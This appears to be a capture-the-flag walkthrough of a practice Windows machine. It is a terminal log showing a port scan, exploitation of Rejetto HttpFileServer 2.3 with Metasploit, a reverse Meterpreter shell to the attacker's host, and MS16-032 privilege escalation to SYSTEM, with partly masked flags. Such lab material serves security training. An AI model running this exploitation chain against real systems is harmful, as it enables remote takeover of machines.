```
└──╼[ ]$ ping 10.129.71.196

└──╼[ ]$ nmap -Pn -T4 -A -v 10.129.71.196

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

search HttpFileServer on exploitdb give :
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)

└──╼[ ]$ msfconsole
msf5 > search rejetto

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check
Description
   -  ----                                  ---------------  ----       -----
-----------
   0  exploit/windows/http/rejetto_hfs_exec  2014-09-11      excellent  Yes
Rejetto HttpFileServer Remote Command Execution

msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit(windows/http/rejetto_hfs_exec) > set rhost 10.129.71.196
rhost => 10.129.71.196
msf5 exploit(windows/http/rejetto_hfs_exec) > set lhost 10.10.14.80
lhost => 10.10.14.80
msf5 exploit(windows/http/rejetto_hfs_exec) > run

[*] Started reverse TCP handler on 10.10.14.80:4444
[*] Using URL: http://0.0.0.0:8080/t7w3jazxE
[*] Local IP: http://206.189.51.78:8080/t7w3jazxE
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/
rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/
rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /t7w3jazxE
[*] Sending stage (176195 bytes) to 10.129.71.196
[*] Meterpreter session 1 opened (10.10.14.80:4444 -> 10.129.71.196:49162) at 2020-
12-29 15:30:46 +0000
[!] Tried to delete %TEMP%\uLmGUsKmLOvRKw.vbs, unknown result
[*] Server stopped.

meterpreter > getuid
Server username: OPTIMUM\kostas
meterpreter > dir
Listing: C:\Users\kostas\Desktop
================================
```

```
Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2021-01-05 00:28:48 +0000  %TEMP%
100666/rw-rw-rw-  282     fil   2017-03-18 11:57:16 +0000  desktop.ini
100777/rwxrwxrwx  760320  fil   2014-02-16 11:58:52 +0000  hfs.exe
100444/r--r--r--  32      fil   2017-03-18 12:13:18 +0000  user.txt.txt

meterpreter > cat user.txt.txt
d0c39409d7b9********************

Running  sysinfo in Meterpreter shows that the target is a Windows 2012 R2 server
with x64
architecture. It would be wise to migrate to an x64 process at this point, as the
default
reverse_tcp shell is x32 architecture. Use the  ps command to list processes, then
migrate to the
explorer.exe process as it is x64, using the command  migrate <pid>

meterpreter > sysinfo
Computer        : OPTIMUM
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : el_GR
Domain          : HTB
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User           Path
 ---   ----  ----                  ----  -------  ----           ----
 0     0     [System Process]
 4     0     System
 232   4     smss.exe
 340   332   csrss.exe
 396   332   wininit.exe
 404   388   csrss.exe
 448   388   winlogon.exe
 488   396   services.exe
 496   396   lsass.exe
 532   488   spoolsv.exe
 556   488   svchost.exe
 600   488   svchost.exe
 668   448   dwm.exe
 676   488   svchost.exe
 692   488   VGAuthService.exe
 732   488   svchost.exe
 776   488   svchost.exe
 840   488   svchost.exe
 860   488   svchost.exe
 968   488   svchost.exe
 1048  488   vmtoolsd.exe
 1064  488   ManagementAgentHost.exe
 1388  488   svchost.exe
 1472  488   dllhost.exe
 1520  2612  wscript.exe           x86   1        OPTIMUM\kostas  C:\Windows\
```

```
SysWOW64\wscript.exe
 1588  488   msdtc.exe
 1748  556   WmiPrvSE.exe
 1788  1828  explorer.exe            x64   1        OPTIMUM\kostas  C:\Windows\
explorer.exe
 1868  732   taskhostex.exe          x64   1        OPTIMUM\kostas  C:\Windows\
System32\taskhostex.exe
 2192  2456  cmd.exe                 x86   1        OPTIMUM\kostas  C:\Windows\
SysWOW64\cmd.exe
 2456  1520  chbAWNNvLLo.exe         x86   1        OPTIMUM\kostas  C:\Users\kostas\
AppData\Local\Temp\radA2460.tmp\chbAWNNvLLo.exe
 2584  1788  vmtoolsd.exe            x64   1        OPTIMUM\kostas  C:\Program
Files\VMware\VMware Tools\vmtoolsd.exe
 2600  2192  conhost.exe             x64   1        OPTIMUM\kostas  C:\Windows\
System32\conhost.exe
 2612  1788  hfs.exe                 x86   1        OPTIMUM\kostas  C:\Users\kostas\
Desktop\hfs.exe

meterpreter > migrate 1788
[*] Migrating from 2456 to 1788...
[*] Migration completed successfully.
meterpreter >

└──╼[ ]$ msfconsole
msf5 > search exploit/windows/local
msf5 > use ms16_032_secondary_logon_handle_privesc

Matching Modules
================

   #  Name                                                  Disclosure Date
Rank    Check  Description
   -  ----                                                  ---------------
----    -----  -----------
   0  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  2016-03-21
normal  Yes    MS16-032 Secondary Logon Handle Privilege Escalation

[*] Using exploit/windows/local/ms16_032_secondary_logon_handle_privesc

msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set rhost
10.129.71.196
rhost => 10.129.71.196
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set lhost
10.10.14.80
lhost => 10.10.14.80
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 10.10.14.80:4444
[+] Compressed size: 1016
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\ECQJWX.ps1...
[*] Compressing script contents...
[+] Compressed size: 3592
[*] Executing exploit script…
```

```
      __ __ ___ ___   ___     ___ ___ ___
     |  V  |  _|_  | |  _|___|   |_  |_  |
     |     |_  |_| |_| . |___| | |_  |  _|
     |_|_|_|___|_____|___|   |___|___|___|

                   [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1124

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1180
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

vG5avo1ce3unE6pic84k39CEONvsg6N0
[+] Executed on target machine.
[*] Sending stage (176195 bytes) to 10.129.71.196
[*] Meterpreter session 2 opened (10.10.14.80:4444 -> 10.129.71.196:49163) at 2020-
12-29 16:03:18 +0000
[+] Deleted C:\Users\kostas\AppData\Local\Temp\ECQJWX.ps1

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\Windows\system32
meterpreter > cd ..
meterpreter > cd ..
meterpreter > dir
Listing: C:\
============

Mode                  Size                Type  Last modified
Name
----                  ----                ----  -------------
----
40777/rwxrwxrwx       0                   dir   2013-08-22 15:39:31 +0000
$Recycle.Bin
100666/rw-rw-rw-      1                   fil   2013-08-22 15:46:48 +0000
BOOTNXT
40777/rwxrwxrwx       0                   dir   2013-08-22 14:48:41 +0000
Documents and Settings
40777/rwxrwxrwx       0                   dir   2013-08-22 15:39:30 +0000
PerfLogs
40555/r-xr-xr-x       4096                dir   2013-08-22 13:36:16 +0000
Program Files
```

```
40777/rwxrwxrwx       4096                dir   2013-08-22 13:36:16 +0000
Program Files (x86)
40777/rwxrwxrwx       4096                dir   2013-08-22 13:36:16 +0000
ProgramData
40777/rwxrwxrwx       0                   dir   2017-03-18 09:49:21 +0000
System Volume Information
40555/r-xr-xr-x       4096                dir   2013-08-22 13:36:16 +0000
Users
40777/rwxrwxrwx       24576               dir   2013-08-22 13:36:16 +0000
Windows
100444/r--r--r--      404250              fil   2013-08-22 15:46:48 +0000
bootmgr
1020401544/r-xr--r--  571107075568992239  fif   18106667084-02-07 08:08:32 +0000
pagefile.sys

meterpreter > cd users
meterpreter > cd administrator
meterpreter > cd desktop
meterpreter > ls
Listing: C:\users\administrator\desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-03-18 11:52:56 +0000  desktop.ini
100444/r--r--r--  32    fil   2017-03-18 12:13:57 +0000  root.txt

meterpreter > cat root.txt
51ed1b36553c********************
```